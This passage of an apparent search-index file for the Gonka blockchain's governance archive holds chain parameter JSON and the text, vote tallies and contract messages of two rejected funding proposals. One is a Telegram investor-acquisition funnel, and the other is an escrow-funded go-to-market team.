\"gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5\",\n \"gonka1dkl4mah5erqggvhqkpc8j3qs5tyuetgdy552cp\",\n \"gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le\",\n \"gonka1p0uanq0aay6n3l4gtnshg63cy6vx3zgvkyc5lc\",\n \"gonka1khca2ht3m0nvpfghrxwgvnmj74t0sx6qzc2edd\"\n ]\n },\n \"participant_access_params\": {\n \"new_participant_registration_start_height\": \"2475000\",\n \"blocked_participant_addresses\": [\n \"gonka1blockedxxxxxxxxxxxxxxxxxxxxxx\"\n ],\n \"use_participant_allowlist\": true,\n \"participant_allowlist_until_block_height\": \"2475000\"\n },\n \"transfer_agent_access_params\": {\n \"allowed_transfer_addresses\": [\n \"gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le\",\n \"gonka1dkl4mah5erqggvhqkpc8j3qs5tyuetgdy552cp\",\n \"gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5\",\n \"gonka1ddswmmmn38esxegjf6qw36mt4aqyw6etvysy5x\",\n \"gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\",\n \"gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\",\n \"gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\"\n ]\n },\n \"devshard_escrow_params\": {\n \"min_amount\": \"50000000\",\n \"max_amount\": \"100000000000\",\n \"max_escrows_per_epoch\": 500000,\n \"group_size\": 16,\n \"allowed_creator_addresses\": [\n \"gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\",\n \"gonka1uyqp5z3dveamfw4pmw7p7rfvwdvgzewnqrzhsu\",\n \"gonka1sy7ug80wrnm6gk47creak0j5eagjpf7maqcqwk\",\n \"gonka1w66aw6jayepglwgz66qtunetr5nyw9ls7evq5g\",\n \"gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\",\n \"gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\",\n \"gonka1z66ec2zedwpapp6jrj9raxgl93e5ec9z5my52h\",\n \"gonka1jw6xg0wun3g8m2fjm8lula82dw5p6jl8yp28mn\",\n \"gonka15sjedpgseutpnrjx2ge3mgau3s8ft5qzym9waa\",\n \"gonka1l4a2wtls9rgd2mnnj6mheml5xlq3kknngj4p7h\",\n \"gonka1f3yg5385n3f9pdw2g3dcjcnfqyej67hcu9vfet\",\n \"gonka15g5pu70k7l6hvdt8xl80h4mxe332762csupaeg\",\n \"gonka1p0uanq0aay6n3l4gtnshg63cy6vx3zgvkyc5lc\",\n \"gonka1r2s0rwgskp6y4ed7qr7d25qdwjwlvpp6demv90\",\n \"gonka1ls8wqecwj369du8s2t9a223xu9sgvmzlw2ye9c\",\n \"gonka10wmset95nhgfjt4wklsyjqpx55m40zy3gha2pn\",\n \"gonka17ld2g62230w0erzexefzw03sw0adtuchr425rp\"\n ],\n \"token_price\": \"10\",\n \"approved_versions\": [\n {\n \"name\": \"v1\",\n \"binary\": \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.13-devshard-v1/devshardd.zip\",\n \"sha256\": \"dad6f1b97843816c0a33874b89ac403e48b54fe3aa1a0fdccb228d89d2a5594c\"\n },\n {\n \"name\": \"v2\",\n \"binary\": \"https://github.com/gonka-ai/gonka/releases/download/release%2Fdevshard%2Fv2.0.0/devshardd.zip\",\n \"sha256\": \"1a3b58bd0ac20dbb8baa68b1bf6c80516ca3c0f4d39e06160d07613ec1b1340b\"\n },\n {\n \"name\": \"v3\",\n \"binary\": \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.13-devshard-v3.0.0/devshardd.zip\",\n \"sha256\": \"ca1294fc8db3f0907a01f362eb4b13665f66d0fd12cfc6f01468b1e27f0bab63\"\n }\n ],\n \"max_nonce\": 1000000,\n \"devshard_requests_enabled\": true,\n \"default_inference_seal_grace_nonces\": 0,\n \"default_inference_seal_grace_seconds\": 0,\n \"create_devshard_fee\": \"0\",\n \"fee_per_nonce\": \"0\",\n \"refusal_timeout\": \"0\",\n \"execution_timeout\": \"0\",\n \"validation_rate\": 0,\n \"vote_threshold_factor\": 0,\n \"default_auto_seal_every_n_nonces\": 0\n },\n \"fee_params\": {\n \"min_gas_price_ngonka\": \"0\",\n \"base_validation_gas\": \"500000\",\n \"gas_per_poc_count\": \"100\"\n },\n \"delegation_params\": {\n \"deploy_window\": \"500\",\n \"refusal_penalty\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"no_participation_penalty\": {\n \"value\": \"15\",\n \"exponent\": -2\n },\n \"delegation_share\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"w_threshold\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"v_min\": \"3\",\n \"cap_factor\": {\n \"value\": \"75\",\n \"exponent\": -2\n },\n \"initial_model_id\": \"MiniMaxAI/MiniMax-M2.7\",\n \"max_model_voting_power_percentage\": {\n \"value\": \"3\",\n \"exponent\": -1\n }\n },\n \"maintenance_params\": null\n }\n }\n]\nRejected
Proposal ID: 84
Type: Community Pool Spend, Execute Contract
Submit: 2026-07-09 18:14 UTC
Voting: 2026-07-09 18:14 UTC → 2026-07-11 18:14 UTC
Proposer: gonka1njlf4guhkf60tt8z4ayf4sx73nkf5vsumjplat
Metadata: https://gonka.vote/proposal/f341b83c-78f0-4ab2-b8fd-ddc7ac5d9c37
Failed reason: proposal did not get enough votes to pass
20,000 GNK · $50,000 · Community PoolView on gonka.gg
My name is Andrey Orlovsky, and through this proposal I represent our team and an initiative to attract at least $3 million in new long-term capital to GONKA through Uniswap.
Below is a condensed version of the proposal. The full version, including all calculations, KPIs, the financial model, and supporting materials, is available via the link at the end and in the metadata.
We propose building a long-term capital acquisition system for GONKA through purchases of the GNK token on Uniswap. The objective of the program is to attract no less than $3,000,000 in new capital. Based on our internal estimates, the potential is $6–7 million. Upon completion of the program, GONKA will receive not only new investors but also a fully operational capital acquisition infrastructure that can be used and scaled further.
The overall program is designed around a budget of $300,000 and is divided into six independent phases of $50,000 each. This proposal covers only the first phase, requesting 50,000 USDT and 20,000 GNK.
The key feature of this proposal is milestone-based funding. Each subsequent phase will be submitted as a separate governance proposal only after the KPI of the previous phase has been achieved. This allows the community to maintain full control over the program and approve further funding solely based on verified results.
The KPI for the first phase is 4x the advertising budget. However, the KPI is not calculated based on the total amount of incoming funds, but on the amount of capital that actually remains within the GONKA ecosystem at the time of verification. For the first phase, this means that with a $50,000 budget, wallets belonging to users acquired by our team must hold at least $200,000 at the time the second proposal is submitted. This approach incentivizes us to attract long-term investors rather than short-term speculative buyers.
The proposal's economics are also entirely performance-based. A portion of our team's compensation is paid only after the KPI has been achieved, and all compensation is proposed to be paid exclusively in GNK tokens, further aligning our interests with those of the project.
To acquire users, we utilize our proprietary funnel: Meta Ads → Landing Page → Telegram → AI Agent → Manager → Uniswap → Long-term user support. Our objective is not merely to generate the first purchase but to build a system that maximizes capital retention and encourages repeat investments.
The full proposal below provides detailed information on all calculations, KPIs, and implementation mechanics:
Full PROPOSAL: https://gonka.vote/proposal/f341b83c-78f0-4ab2-b8fd-ddc7ac5d9c37
Demo Telegram Channel: https://t.me/demo_chanel_gonka
Additional materials, proof of our work, landing page examples, creatives, advertising accounts, and partnership references: https://t.me/proposaluniswap
"}, {"location": "proposals/proposals/2026-q3/84/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2026-q3/84/#bringing-3m-in-new-capital-to-gonka-via-uniswap-phase-16-50k-usdt", "title": "Bringing $3M+ in New Capital to GONKA via Uniswap — Phase 1/6 ($50k USDT)", "text": "Author: Andrey Orlovsky (@FrancesGreen9)
Goal: Attract at least $3M in new long-term capital to GONKA through a scalable Telegram funnel with milestone-based funding and KPIs.
"}, {"location": "proposals/proposals/2026-q3/84/#1-executive-summary", "title": "1. Executive Summary", "text": "We propose building a long-term capital acquisition system for GONKA through purchases of the GNK token on Uniswap. The objective of the program is to attract no less than $3,000,000 in new capital.
The overall program is designed around a budget of $300,000 divided into 6 independent phases of $50,000 each. This proposal covers only the first phase.
The KPI for the first phase is 4x the advertising budget. At the time of verification, wallets belonging to users acquired by our team must hold at least $200,000. This incentivizes attracting long-term investors rather than short-term speculative buyers.
"}, {"location": "proposals/proposals/2026-q3/84/#2-who-we-are", "title": "2. Who We Are", "text": "Team of 10 people based in Zurich: 4 media buyers, 5 user processing specialists, 1 technical specialist. We have been working in affiliate marketing since 2023 and manage over $70,000 in monthly ad spend.
Core specialization: building Telegram funnels to attract investors into various projects. We have accumulated extensive practical data across geographies, subscriber costs, dialogue costs, and first-deposit economics.
Supporting materials: https://telegram.me/proposaluniswap
"}, {"location": "proposals/proposals/2026-q3/84/#3-what-we-propose", "title": "3. What We Propose", "text": "Build a system that daily attracts new capital through token purchases on Uniswap. The primary success metric is the volume of new capital brought into the GONKA ecosystem.
"}, {"location": "proposals/proposals/2026-q3/84/#4-kpi-project-economics", "title": "4. KPI & Project Economics", "text": "Phase Budget Target KPI Phase 1 $50,000 4x ($200,000) Phase 2 $50,000 7x ($350,000) Phases 3-6 $50,000 each 10x+ ($500,000+ each) Total $300,000 $3,000,000+Meta Ads → Landing Page → Telegram → AI Agent → Manager → Uniswap → Long-term Support
Demo channel: https://telegram.me/demo_chanel_gonka
"}, {"location": "proposals/proposals/2026-q3/84/#6-user-retention-strategy", "title": "6. User Retention Strategy", "text": "Work does not end after first deposit. AI Agent and managers continue accompanying users, building trust, and increasing repeat investment volume. Repeat investments form the majority of long-term value.
"}, {"location": "proposals/proposals/2026-q3/84/#7-funding", "title": "7. Funding", "text": "If KPI is not met or next phase not approved, variable portion is forfeited. All compensation to be paid exclusively in GNK tokens.
"}, {"location": "proposals/proposals/2026-q3/84/#9-reporting-transparency", "title": "9. Reporting & Transparency", "text": "Example: at $50,000 Phase 1 budget, target is $200,000 in wallets at verification time.
"}, {"location": "proposals/proposals/2026-q3/84/#12-additional-materials", "title": "12. Additional Materials", "text": "https://gonka.vote/proposal/f341b83c-78f0-4ab2-b8fd-ddc7ac5d9c37
"}, {"location": "proposals/proposals/2026-q3/84/#final-tally", "title": "Final Tally", "text": "Yes 1,221 (0.4%) No 2,404 (0.8%) Veto 290,022 (98.8%) Abstain 3 (0.0%) Total 293,650 votes ✓ Turnout 293,650 / 741,825 (39.6%) · Quorum 25% (185,456)"}, {"location": "proposals/proposals/2026-q3/84/#messages", "title": "Messages", "text": "# Type 1/cosmwasm.wasm.v1.MsgExecuteContract 2 /cosmos.distribution.v1beta1.MsgCommunityPoolSpend Contract Details [\n {\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": {\n \"withdraw_ibc\": {\n \"amount\": \"50000000000\",\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"recipient\": \"gonka1njlf4guhkf60tt8z4ayf4sx73nkf5vsumjplat\"\n }\n },\n \"funds\": []\n },\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka1njlf4guhkf60tt8z4ayf4sx73nkf5vsumjplat\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"20000000000000\"\n }\n ]\n }\n]\nAuthor: Andrey Orlovsky (@FrancesGreen9)
Goal: Attract at least $3M in new long-term capital to GONKA through a scalable Telegram funnel with milestone-based funding and KPIs.
"}, {"location": "proposals/proposals/2026-q3/84/full-proposal/#1-executive-summary", "title": "1. Executive Summary", "text": "We propose building a long-term capital acquisition system for GONKA through purchases of the GNK token on Uniswap. The objective of the program is to attract no less than $3,000,000 in new capital.
The overall program is designed around a budget of $300,000 divided into 6 independent phases of $50,000 each. This proposal covers only the first phase.
The KPI for the first phase is 4x the advertising budget. At the time of verification, wallets belonging to users acquired by our team must hold at least $200,000. This incentivizes attracting long-term investors rather than short-term speculative buyers.
"}, {"location": "proposals/proposals/2026-q3/84/full-proposal/#2-who-we-are", "title": "2. Who We Are", "text": "Team of 10 people based in Zurich: 4 media buyers, 5 user processing specialists, 1 technical specialist. We have been working in affiliate marketing since 2023 and manage over $70,000 in monthly ad spend.
Core specialization: building Telegram funnels to attract investors into various projects. We have accumulated extensive practical data across geographies, subscriber costs, dialogue costs, and first-deposit economics.
Supporting materials: https://telegram.me/proposaluniswap
"}, {"location": "proposals/proposals/2026-q3/84/full-proposal/#3-what-we-propose", "title": "3. What We Propose", "text": "Build a system that daily attracts new capital through token purchases on Uniswap. The primary success metric is the volume of new capital brought into the GONKA ecosystem.
"}, {"location": "proposals/proposals/2026-q3/84/full-proposal/#4-kpi-project-economics", "title": "4. KPI & Project Economics", "text": "Phase Budget Target KPI Phase 1 $50,000 4x ($200,000) Phase 2 $50,000 7x ($350,000) Phases 3-6 $50,000 each 10x+ ($500,000+ each) Total $300,000 $3,000,000+Meta Ads → Landing Page → Telegram → AI Agent → Manager → Uniswap → Long-term Support
Demo channel: https://telegram.me/demo_chanel_gonka
"}, {"location": "proposals/proposals/2026-q3/84/full-proposal/#6-user-retention-strategy", "title": "6. User Retention Strategy", "text": "Work does not end after first deposit. AI Agent and managers continue accompanying users, building trust, and increasing repeat investment volume. Repeat investments form the majority of long-term value.
"}, {"location": "proposals/proposals/2026-q3/84/full-proposal/#7-funding", "title": "7. Funding", "text": "If KPI is not met or next phase not approved, variable portion is forfeited. All compensation to be paid exclusively in GNK tokens.
"}, {"location": "proposals/proposals/2026-q3/84/full-proposal/#9-reporting-transparency", "title": "9. Reporting & Transparency", "text": "Example: at $50,000 Phase 1 budget, target is $200,000 in wallets at verification time.
"}, {"location": "proposals/proposals/2026-q3/84/full-proposal/#12-additional-materials", "title": "12. Additional Materials", "text": "https://gonka.vote/proposal/f341b83c-78f0-4ab2-b8fd-ddc7ac5d9c37
"}, {"location": "proposals/proposals/2026-q3/85/", "title": "#85 – Internal Go-To-Market Team for 3 Month", "text": "Rejected
Proposal ID: 85
Type: Community Pool Spend, Execute Contract, Instantiate Contract2
Submit: 2026-07-10 00:41 UTC
Voting: 2026-07-10 00:41 UTC → 2026-07-12 00:41 UTC
Proposer: gonka1vfafh4jq674227q8j0h33fwz4jmgtxmp4vsd93
Metadata: https://app.integrity.sh/p/SuMCnGQBhz-0asAYBUz1U
Failed reason: proposal did not get enough votes to pass
600,000 GNK · $36,000 · Community PoolView on gonka.gg
We will run hundreds of experiments across different target audience hypotheses and set up the basis: acquisition funnels, analytics, sharable target audience deep understanding. Our key performance metric is the number of non-ru-speaking users, who pay for inference or invest in GNK. The full proposal: https://app.integrity.sh/p/SuMCnGQBhz-0asAYBUz1U
The budget of 600K GNK and 36K USDT is held by an immutable escrow contract and released as: 180K GNK and 12K USDT in the day 0, 130K GNK and 12K USDT in the day 30, 130K GNK and 12K USDT in the day 60, 160K GNK in the day 99 — as we need them to promise rewards. We will not sell them by ourselves at least during the 6-month period and we will organise vesting-like payments for the other contributors.
Governance holds an option to cancel the initiative and returns all remaining funds to the Community Pool. We use contract described in https://github.com/paranjko/testlab-devnet-escrow/tree/1b2e529876141816b5c2130840d04fb93694bf72 (that Sega used in https://gonka.vote/governance/82)
"}, {"location": "proposals/proposals/2026-q3/85/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2026-q3/85/#internal-go-to-market-team-for-3-month-to-set-up-the-basis-acquisition-funnels-analytics-sharable-target-audience-deep-understanding", "title": "Internal Go-To-Market Team for 3 Month to Set Up the Basis: acquisition funnels, analytics, sharable target audience deep understanding", "text": "This proposal describes ecosystem we should do for the Gonka, including basics, go-to-market actions, the team and the budgets for the next 3 months.
"}, {"location": "proposals/proposals/2026-q3/85/#what-well-do", "title": "What we'll do", "text": ""}, {"location": "proposals/proposals/2026-q3/85/#i-onboarding-funnels-for-target-audiences-of-all-types-mentioned-in-the-roadmap-track-11-project-1-this-includes-hundreds-of-experiments-with-offers-and-landings-for-various-types-of-target-audiences-segments-and-acquisition-channels-seo-geoaeo-optimization", "title": "I. Onboarding funnels for target audiences of all types mentioned in the roadmap (Track 11, Project 1). This includes hundreds of experiments with offers and landings for various types of target audiences segments and acquisition channels. SEO + GEO/AEO optimization.", "text": "Target Audience Their Core Need Comment B2C inference users cheap compute [long-term freedom] Fast go-to-market. Partnerships with competitors to go faster B2B inference users & aggregators cheap compute [long-term freedom, custom model training] Long & expensive outreach → Long-term revenue Token Investors upside (multiples) from holding GNK Token buyers and mining investors are connected like communicating vessels GPU Hosts Long-term GPU usage + upside (multiples) from holding GNK Our core need is to scale the network quickly as inference usage grows; also ASICs Liquidity providers, LP funds Passive yield AI/ML Labs & Devs Cheap model training or earn from model training for Gonka Actual network usage and our long-term focus confirmation Local Entrepreneurs & Influencers Earn from Gonka Distribution We need long-term focus to achieve long-term growth, not a short burst Professional contributors or supporters Earn from working on Gonka Senior blockchain developers, white hackers, marketers"}, {"location": "proposals/proposals/2026-q3/85/#where-are-we-going-to-send-the-traffic", "title": "Where are we going to send the traffic?", "text": "We are planning to work in separated streams trying to engage brokers owners, and other go-to-market focused entrepreneurs from the community and outside (already we've found over 10 people). The work will be organized in sprints, each sprint will have a budget that will be distributed between actors proportionally to their contribution and results.
We'll start from analytics, accurate experiments and process setup — and then scale.
1st month we will be focused on onboarding funnels, pSEO/GEO website and analytics setup, initial communities and influencers testing, strategy. Then acquisition channels and formats.
Reporting: - Every two weeks awards distribution between participants depending their contribution and cumulative results + AMAs with us - Data on dashboards + what the creators of Gonka services see (somehow to encourage them to report)
"}, {"location": "proposals/proposals/2026-q3/85/#the-team", "title": "The Team", "text": "Top persons, responsible for the results — C-Level Executives, investing in Gonka since November 2025.
Created the first version of go-to-market strategy in May, and was responsible for the Marketing track in the applied roadmap, leads The Soul and other external performers.
Arseny Myakotnikov — details: LinkedIn
Best achievement: attracting $300M+ AUM for a DeFi hedge-fund, scaling from ~1K to 15K+ active users
Hleb Dapkiunas — actively bisdevs startups, one of his posts with the requirements he found was mentioned as useful by Vadim Krutov, COO Bitfury — link. (To join the group \"Gonka_Use Cases\" to see the comment use this invite)
Last 2 month we are actively participating in go-to-market activities. Top-3 samples: 1. Viktor Katsman created the first version of go-to-market strategy in May, and was responsible for the Marketing track in the applied roadmap, leads The Soul and other external performers. 2. Hleb Dapkiunas actively bisdevs startups, one of his posts with the requirements he found was mentioned as useful by Vadim Krutov, COO Bitfury. 3. Viktor Katsman actively bisdevs startups and have already made the meaningful case — Integrity added Gonka models as \"Powerful models at a fraction of the price\" in Beta stage for all users.
"}, {"location": "proposals/proposals/2026-q3/85/#cost-budget", "title": "Cost + Budget", "text": "This illustrates general focuses of our work. In the beginning, spends will be less, then higher. Budgets can be redistributed into more promising areas, which we will see as we go along. Our bonuses and additional bonuses for various people in the team and community members are distributed between these directions.
"}, {"location": "proposals/proposals/2026-q3/85/#monthly-usdt-budget", "title": "Monthly USDT Budget", "text": "Direction Budget per month Were Key executives Paid traffic small-cost experiments in Google Search for inference users (based on our competitors aka OpenRouter users data) 0K USDT 5K USDT — Social Activities External Supporters 3K USDT 3K USDT Arseny Influencers, Communities, Conferences Partnerships in B2B / B2C 4K USDT 10K USDT Viktor AI and other tools, infrastructure, development, emails, linked-in, external agencies 5K USDT — Viktor + Arseny Total 12K USDT 18K USDTUSDT budget covers: 1. Micro-influencer fees and portals working with them (typically paid around $15-30 per video + bonuses if successful or generates a lot of leads) 2. Partnerships with target communities. Barter is preferred, but sometimes USD is required; partnerships may cost $50-$500. Includes Product Hunt launch + AI product listings. 3. Referrals of useful people and clients. 4. Development activities, infrastructure, AI and other tools. 5. Conferences and business trips, where we can easily present Gonka. 6. External agencies (uForce — experienced agency in AI-driven influencers research; rizzult.ai for influencers and B2B; adstail.com — vkatsman has direct connections with founders; fusionmedia.fund — their barter-driven offer).
Actual cost = 600K GNK + 36K USDT
"}, {"location": "proposals/proposals/2026-q3/85/#final-tally", "title": "Final Tally", "text": "Yes 41,668 (73.5%) No 8 (0.0%) Veto 14,932 (26.4%) Abstain 45 (0.1%) Total 56,653 votes ✗ Turnout 56,653 / 741,825 (7.6%) · Quorum 25% (185,456)"}, {"location": "proposals/proposals/2026-q3/85/#messages", "title": "Messages", "text": "# Type 1/cosmwasm.wasm.v1.MsgInstantiateContract2 2 /cosmos.distribution.v1beta1.MsgCommunityPoolSpend 3 /cosmwasm.wasm.v1.MsgExecuteContract Contract Details [\n {\n \"@type\": \"/cosmwasm.wasm.v1.MsgInstantiateContract2\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"admin\": \"\",\n \"code_id\": \"107\",\n \"label\": \"go-to-market-team-milestone-escrow\",\n \"msg\": {\n \"governance\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"payouts\": [\n {\n \"recipient\": \"gonka1zhcn5yz86z0jlsyzm9xkkhx6km5p8a4apw9rsj\",\n \"denom\": \"ngonka\",\n \"amount\": \"10000000000000\",\n \"unlock_after_days\": 0\n },\n {\n \"recipient\": \"gonka1zhcn5yz86z0jlsyzm9xkkhx6km5p8a4apw9rsj\",\n \"denom\": \"ngonka\",\n \"amount\": \"10000000000000\",\n \"unlock_after_days\": 60\n },\n {\n \"recipient\": \"gonka1zhcn5yz86z0jlsyzm9xkkhx6km5p8a4apw9rsj\",\n \"denom\": \"ngonka\",\n \"amount\": \"30000000000000\",\n \"unlock_after_days\": 99\n },\n {\n \"recipient\": \"gonka15at6rrk3tspus7mu0t2yg26r4guq7sqkpq3wf4\",\n \"denom\": \"ngonka\",\n \"amount\": \"30000000000000\",\n \"unlock_after_days\": 0\n },\n {\n \"recipient\": \"gonka15at6rrk3tspus7mu0t2yg26r4guq7sqkpq3wf4\",\n \"denom\": \"ngonka\",\n \"amount\": \"10000000000000\",\n \"unlock_after_days\": 30\n },\n {\n \"recipient\": \"gonka15at6rrk3tspus7mu0t2yg26r4guq7sqkpq3wf4\",\n \"denom\": \"ngonka\",\n \"amount\": \"50000000000000\",\n \"unlock_after_days\": 99\n },\n {\n \"recipient\": \"gonka1eym0g7fye3rzn6tj03qwfy0xeqkad6d5stdyaw\",\n \"denom\": \"ngonka\",\n \"amount\": \"40000000000000\",\n \"unlock_after_days\": 0\n },\n {\n \"recipient\": \"gonka1eym0g7fye3rzn6tj03qwfy0xeqkad6d5stdyaw\",\n \"denom\": \"ngonka\",\n \"amount\": \"25000000000000\",\n \"unlock_after_days\": 30\n },\n {\n \"recipient\": \"gonka1eym0g7fye3rzn6tj03qwfy0xeqkad6d5stdyaw\",\n \"denom\": \"ngonka\",\n \"amount\": \"25000000000000\",\n \"unlock_after_days\": 60\n },\n {\n \"recipient\": \"gonka1qederwp6etpnzm0et6d924c5n08cycauhdqwuy\",\n \"denom\": \"ngonka\",\n \"amount\": \"40000000000000\",\n \"unlock_after_days\": 0\n },\n {\n \"recipient\": \"gonka1qederwp6etpnzm0et6d924c5n08cycauhdqwuy\",\n \"denom\": \"ngonka\",\n \"amount\": \"35000000000000\",\n \"unlock_after_days\": 30\n },\n {\n \"recipient\": \"gonka1qederwp6etpnzm0et6d924c5n08cycauhdqwuy\",\n \"denom\": \"ngonka\",\n \"amount\": \"35000000000000\",\n \"unlock_after_days\": 60\n },\n {\n \"recipient\": \"gonka1k7400padt0g0kreh364c8vfsn58eg8r566yvnd\",\n \"denom\": \"ngonka\",\n \"amount\": \"30000000000000\",\n \"unlock_after_days\": 0\n },\n {\n \"recipient\": \"gonka1k7400padt0g0kreh364c8vfsn58eg8r566yvnd\",\n \"denom\": \"ngonka\",\n \"amount\": \"30000000000000\",\n \"unlock_after_days\": 30\n },\n {\n \"recipient\": \"gonka1k7400padt0g0kreh364c8vfsn58eg8r566yvnd\",\n \"denom\": \"ngonka\",\n \"amount\": \"30000000000000\",\n \"unlock_after_days\": 60\n },\n {\n \"recipient\": \"gonka1k7400padt0g0kreh364c8vfsn58eg8r566yvnd\",\n \"denom\": \"ngonka\",\n \"amount\": \"50000000000000\",\n \"unlock_after_days\": 99\n },\n {\n \"recipient\": \"gonka137zkmd6msle3556h2gls9t0tyqvathpzad2ev3\",\n \"denom\": \"ngonka\",\n \"amount\": \"30000000000000\",\n \"unlock_after_days\": 0\n },\n {\n \"recipient\": \"gonka137zkmd6msle3556h2gls9t0tyqvathpzad2ev3\",\n \"denom\": \"ngonka\",\n \"amount\": \"30000000000000\",\n \"unlock_after_days\": 30\n },\n {\n \"recipient\": \"gonka137zkmd6msle3556h2gls9t0tyqvathpzad2ev3\",\n \"denom\": \"ngonka\",\n \"amount\": \"30000000000000\",\n \"unlock_after_days\": 60\n },\n {\n \"recipient\": \"gonka137zkmd6msle3556h2gls9t0tyqvathpzad2ev3\",\n \"denom\": \"ngonka\",\n \"amount\": \"30000000000000\",\n \"unlock_after_days\": 99\n },\n {\n \"recipient\": \"gonka1eym0g7fye3rzn6tj03qwfy0xeqkad6d5stdyaw\",\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"3000000000\",\n \"unlock_after_days\": 0\n },\n {\n \"recipient\": \"gonka1eym0g7fye3rzn6tj03qwfy0xeqkad6d5stdyaw\",\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"3000000000\",\n \"unlock_after_days\": 30\n },\n {\n \"recipient\": \"gonka1eym0g7fye3rzn6tj03qwfy0xeqkad6d5stdyaw\",\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"3000000000\",\n \"unlock_after_days\": 60\n },\n {\n \"recipient\": \"gonka1zhcn5yz86z0jlsyzm9xkkhx6km5p8a4apw9rsj\",\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"9000000000\",\n \"unlock_after_days\": 0\n },\n {\n \"recipient\": \"gonka1zhcn5yz86z0jlsyzm9xkkhx6km5p8a4apw9rsj\",\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"9000000000\",\n \"unlock_after_days\": 30\n },\n {\n \"recipient\": \"gonka1zhcn5yz86z0jlsyzm9xkkhx6km5p8a4apw9rsj\",\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"9000000000\",\n \"unlock_after_days\": 60\n }\n ],\n \"close_after_days\": 300\n },\n \"funds\": [],\n \"salt\": \"Z3RtLXRlYW0tMjAyNg==\",\n \"fix_msg\": false\n },\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka1stfulpj6t5mc0nekph7g7tcf7dv5mszm95xtvt6rc5repv7t5yvq28h3ja\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"600000000000000\"\n }\n ]\n },\n {\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": {\n \"withdraw_ibc\": {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"36000000000\",\n \"recipient\": \"gonka1stfulpj6t5mc0nekph7g7tcf7dv5mszm95xtvt6rc5repv7t5yvq28h3ja\"\n }\n },\n \"funds\": []\n }\n]\nThis proposal describes ecosystem we should do for the Gonka, including basics, go-to-market actions, the team and the budgets for the next 3 months.
"}, {"location": "proposals/proposals/2026-q3/85/full-proposal/#what-well-do", "title": "What we'll do", "text": ""}, {"location": "proposals/proposals/2026-q3/85/full-proposal/#i-onboarding-funnels-for-target-audiences-of-all-types-mentioned-in-the-roadmap-track-11-project-1-this-includes-hundreds-of-experiments-with-offers-and-landings-for-various-types-of-target-audiences-segments-and-acquisition-channels-seo-geoaeo-optimization", "title": "I. Onboarding funnels for target audiences of all types mentioned in the roadmap (Track 11, Project 1). This includes hundreds of experiments with offers and landings for various types of target audiences segments and acquisition channels. SEO + GEO/AEO optimization.", "text": "Target Audience Their Core Need Comment B2C inference users cheap compute [long-term freedom] Fast go-to-market. Partnerships with competitors to go faster B2B inference users & aggregators cheap compute [long-term freedom, custom model training] Long & expensive outreach → Long-term revenue Token Investors upside (multiples) from holding GNK Token buyers and mining investors are connected like communicating vessels GPU Hosts Long-term GPU usage + upside (multiples) from holding GNK Our core need is to scale the network quickly as inference usage grows; also ASICs Liquidity providers, LP funds Passive yield AI/ML Labs & Devs Cheap model training or earn from model training for Gonka Actual network usage and our long-term focus confirmation Local Entrepreneurs & Influencers Earn from Gonka Distribution We need long-term focus to achieve long-term growth, not a short burst Professional contributors or supporters Earn from working on Gonka Senior blockchain developers, white hackers, marketers"}, {"location": 